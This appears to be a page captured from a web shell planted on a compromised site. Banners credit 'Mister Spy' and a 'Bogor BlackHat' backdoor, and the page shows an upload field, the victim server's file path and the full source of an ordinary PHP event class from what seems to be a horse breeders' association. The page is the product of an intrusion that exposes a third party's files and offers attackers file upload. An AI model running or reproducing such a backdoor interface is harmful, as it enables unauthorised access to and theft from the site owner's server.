Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.evento.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.eventos.php');
require_once('class.eventosmorfologicosautoridades.php');
require_once('class.eventosfuncionalespruebaseventos.php');
require_once('class.jurados.php');

class Evento
{
	public $IdEvento;
	public $TipoEvento;
	public $IdProvincia;
	public $IdLugar;
	public $Denominacion;
	public $EventoDesdeFecha;
	public $EventoHastaFecha;
	public $EventoDesdeHora;
	public $EventoHastaHora;
	public $InscripcionDesdeFecha;
	public $InscripcionHastaFecha;
	public $InscripcionDesdeHora;
	public $InscripcionHastaHora;
	public $IngresoAnimalesDesdeFecha;
	public $IngresoAnimalesHastaFecha;
	public $IngresoAnimalesDesdeHora;
	public $IngresoAnimalesHastaHora;
	public $Provincia;
	public $Lugar;
	public $PruebasFuncionales;
	public $CategoriasEventos;
	public $AutoridadesMorfologicas;
	public $Comisariato;
	public $Secretario1;
	public $Secretario2;
	public $Eliminado;
	public $Estado;
	public $Alerta1;
	public $Alerta2;
	public $Alerta3;
	public $Alerta4;
	public $Organizacion;
	public $ResultadosSupervisados;

	
	public function __construct()
	{
		$this->IdEvento 					= '';
		$this->TipoEvento 					= '';
		$this->IdProvincia 					= '';
		$this->IdLugar 						= '';
		$this->Denominacion 				= '';
		$this->EventoDesdeFecha				= '';
		$this->EventoHastaFecha				= '';
		$this->EventoDesdeHora				= '';
		$this->EventoHastaHora				= '';
		$this->InscripcionDesdeFecha		= '';
		$this->InscripcionHastaFecha		= '';
		$this->InscripcionDesdeHora			= '';
		$this->InscripcionHastaHora			= '';
		$this->IngresoAnimalesDesdeFecha 	= '';
		$this->IngresoAnimalesHastaFecha	= '';
		$this->IngresoAnimalesDesdeHora 	= '';
		$this->IngresoAnimalesHastaHora		= '';
		$this->Provincia				 	= '';
		$this->Lugar						= '';
		$this->PruebasFuncionales			= '';
		$this->CategoriasEventos			= '';
		$this->AutoridadesMorfologicas		= '';
		$this->Comisariato					= '';
		$this->Secretario1					= '';
		$this->Secretario2					= '';
		$this->Eliminado					= '';
		$this->Estado						= '';
		$this->Alerta1						= '';
		$this->Alerta2						= '';
		$this->Alerta3						= '';
		$this->Alerta4						= '';
		$this->Organizacion					= '';
		$this->ResultadosSupervisados		= '';
	}
	
	public function ParseFromArray(array $arr)
	{
		$this->IdEvento 					= $arr['IdEvento'];
		$this->TipoEvento 					= $arr['TipoEvento'];
		$this->IdProvincia 					= $arr['IdProvincia'];
		$this->IdLugar 						= $arr['IdLugar'];
		$this->Denominacion 				= $arr['Denominacion'];
		$this->EventoDesdeFecha				= $arr['EventoDesdeFecha'];
		$this->EventoHastaFecha				= $arr['EventoHastaFecha'];
		$this->EventoDesdeHora 				= $arr['EventoDesdeHora'];
		$this->EventoHastaHora 				= $arr['EventoHastaHora'];
		$this->InscripcionDesdeFecha		= $arr['InscripcionDesdeFecha'];
		$this->InscripcionHastaFecha 		= $arr['InscripcionHastaFecha'];
		$this->InscripcionDesdeHora 		= $arr['InscripcionDesdeHora'];
		$this->InscripcionHastaHora 		= $arr['InscripcionHastaHora'];
		$this->IngresoAnimalesDesdeFecha	= $arr['IngresoAnimalesDesdeFecha'];
		$this->IngresoAnimalesHastaFecha	= $arr['IngresoAnimalesHastaFecha'];
		$this->IngresoAnimalesDesdeHora 	= $arr['IngresoAnimalesDesdeHora'];
		$this->IngresoAnimalesHastaHora		= $arr['IngresoAnimalesHastaHora'];
		$this->Provincia				 	= $arr['Provincia'];
		$this->Lugar						= $arr['Lugar'];
		$this->PruebasFuncionales			= $arr['PruebasFuncionales'];
		$this->CategoriasEventos			= $arr['CategoriasEventos'];
		$this->AutoridadesMorfologicas		= $arr['AutoridadesMorfologicas'];
		$this->Comisariato					= $arr['Comisariato'];
		$this->Secretario1					= $arr['Secretario1'];
		$this->Secretario2					= $arr['Secretario2'];
		$this->Eliminado					= $arr['Eliminado'];
		$this->Estado						= $arr['Estado'];
		$this->Alerta1						= $arr['Alerta1'];
		$this->Alerta2						= $arr['Alerta2'];
		$this->Alerta3						= $arr['Alerta3'];
		$this->Alerta4						= $arr['Alerta4'];
		$this->Organizacion					= $arr['Organizacion'];
		$this->ResultadosSupervisados		= $arr['ResultadosSupervisados'];
	}


	public function IsVigente()
	{
		$Eventos = new Eventos();
		
		return $Eventos->EventoVigente($this);
	}

	public function GetAutoridad() {

		$oEventosMorfologicosAutoridades = new EventosMorfologicosAutoridades();
		return $oEventosMorfologicosAutoridades->GetByIdEvento($this->IdEvento);

	}

	public function MorfologiaHabilitada($NumeroPropietario) {

		if (!$NumeroPropietario) {
			return true;
		}

		$oJurados = new Jurados();

		$oAutoridad = $this->GetAutoridad();

		$oJurado1 = $oJurados->GetById($oAutoridad->JAVE1);
		$oJurado2 = $oJurados->GetById($oAutoridad->JAVE2);
		$oJurado3 = $oJurados->GetById($oAutoridad->JAVE3);

		$arrJurados = array();
		if ($oJurado1) {
			$arrJurados[] = $oJurado1;
		}
		if ($oJurado2) {
			$arrJurados[] = $oJurado2;
		}
		if ($oJurado3) {
			$arrJurados[] = $oJurado3;
		}

		foreach ($arrJurados as $oJurado) {

			foreach ($oJurado->GetPropietarios() as $oJuradoPropietario) {
				if ($oJuradoPropietario->Numero == $NumeroPropietario) {
					return false;
				}
			}

		}

		return true;

	}

	public function PruebaFuncionalHabilitada($IdEventosFuncionalesPrueba, $IdEventosFuncionalesPruebasCategoria, $NumeroPropietario, $Cria) {

		$oEventosFuncionalesPruebasEventos = new EventosFuncionalesPruebasEventos();
		$oJurados = new Jurados();

		if (!$oEventoFuncionalPruebaEvento = $oEventosFuncionalesPruebasEventos->GetByPruebaCategoriaEvento($this->IdEvento, $IdEventosFuncionalesPrueba, $IdEventosFuncionalesPruebasCategoria)) {
			return false;
		}

		$oJurado1 = $oJurados->GetById($oEventoFuncionalPruebaEvento->Jur1);
		$oJurado2 = $oJurados->GetById($oEventoFuncionalPruebaEvento->Jur2);
		$oJurado3 = $oJurados->GetById($oEventoFuncionalPruebaEvento->Jur3);

		$arrJurados = array();
		if ($oJurado1) {
			$arrJurados[] = $oJurado1;
		}
		if ($oJurado2) {
			$arrJurados[] = $oJurado2;
		}
		if ($oJurado3) {
			$arrJurados[] = $oJurado3;
		}

		if (strpos($oEventoFuncionalPruebaEvento->Clasificacion, 'final') !== false && $Cria) {

			foreach ($arrJurados as $oJurado) {

				foreach ($oJurado->GetPropietarios() as $oJuradoPropietario) {
					if ($oJuradoPropietario->Numero == $NumeroPropietario) {
						return false;
					}
				}

			}

		}

		if (!$Cria) {

			foreach ($arrJurados as $oJurado) {

				foreach ($oJurado->GetPropietarios() as $oJuradoPropietario) {
					if ($oJuradoPropietario->Numero == $NumeroPropietario) {
						return false;
					}
				}

			}

		}

		return true;

	}

}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat